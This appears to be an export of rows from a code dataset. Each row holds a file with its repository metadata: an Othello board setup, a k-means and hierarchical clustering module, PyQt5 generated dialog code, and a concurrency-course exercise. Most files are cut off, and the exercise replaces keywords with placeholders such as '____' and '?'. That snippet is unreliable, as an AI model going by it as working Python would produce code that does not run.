N, M = map(int, input().split()) # 보드의 한 변의 길이 N과 플레이어가 돌을 놓는 횟수 M
field = [[0]*(N+1) for _ in range(N+1)]
for j in range(N//2, N//2+2): #기본 설정
for i in range(N//2, N//2+2):
if i == j: #색이 1이면 흑돌, 2이면 백돌
field[j][i] = 2
el... | [
"jdb960211@gmail.com"
] | jdb960211@gmail.com |
ec46f3d025b4c8f9a1a28ec7a4e09265e6806c5f | 1b3c73cfd2c183861942d821b5f7b87cfde05687 | /Clustering.py | ebee8512112a8b6ef2bf9157214257ebbb50b688 | [] | no_license | Cheereus/MathModel2020 | d0e77d199701fe752298d3998578be58409c9ce3 | 752811a5550ff3d6ec4dc21f4880986e3fcf08f7 | refs/heads/master | 2023-04-27T15:00:28.332328 | 2021-04-27T02:56:52 | 2021-04-27T02:56:52 | 296,013,678 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 884 | py | import numpy as np
from sklearn.cluster import KMeans, AgglomerativeClustering
from sklearn.neighbors import KNeighborsClassifier
from scipy.cluster.hierarchy import dendrogram, linkage, fcluster
import matplotlib.pyplot as plt
def k_means(X, k):
k_m_model = KMeans(n_clusters=k, max_iter=300, n_init=40, init='k-m... | [
"fanwei1995@hotmail.com"
] | fanwei1995@hotmail.com |
425fec3232c22560f10257179343fe677eb7810a | 94f304cb4c2ac2ad6ff1ee39725f46254c8838bc | /core/info/Ui_script.py | 39b68de152e2eba395e13f524ec2b484d241ef11 | [] | no_license | kmolLin/python3_solve_dynamic | 105bd70edaa5014e0ad76a9a3c66e43dc0fa5ad7 | 18f56e6958dd1816dfb7c26f4857aa3b41de9312 | refs/heads/master | 2021-06-03T10:19:44.551240 | 2016-09-23T13:22:52 | 2016-09-23T13:22:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,391 | py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file '/home/ahshoe/Desktop/Pyslvs/core/info/script.ui'
#
# Created by: PyQt5 UI code generator 5.7
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Info_Dialog(object):
def setupUi(... | [
"smpss91341@gmail.com"
] | smpss91341@gmail.com |
21c56687f092c048fd987093b694fa1b9cdba953 | e23a4f57ce5474d468258e5e63b9e23fb6011188 | /110_concurrency_parallelism/_exercises/templates/Mastering Concurrency in Python/Chapter10/example3.py | 22936bfe66daaa8030fb20b3750380ec1e244ec1 | [] | no_license | syurskyi/Python_Topics | 52851ecce000cb751a3b986408efe32f0b4c0835 | be331826b490b73f0a176e6abed86ef68ff2dd2b | refs/heads/master | 2023-06-08T19:29:16.214395 | 2023-05-29T17:09:11 | 2023-05-29T17:09:11 | 220,583,118 | 3 | 2 | null | 2023-02-16T03:08:10 | 2019-11-09T02:58:47 | Python | UTF-8 | Python | false | false | 698 | py | # # ch9/example1.py
#
# ____ ma__ ______ sqrt
# ____ t_i_ ______ d_t_ __ timer
#
# ___ is_prime x
# print('Processing @...' ?
#
# __ ? < 2
# print('@ is not a prime number.' ?
#
# ____ ? __ 2
# print('@ is a prime number.' ?
#
# ____ ? % 2 __ 0
# print('@ is not a prime number... | [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.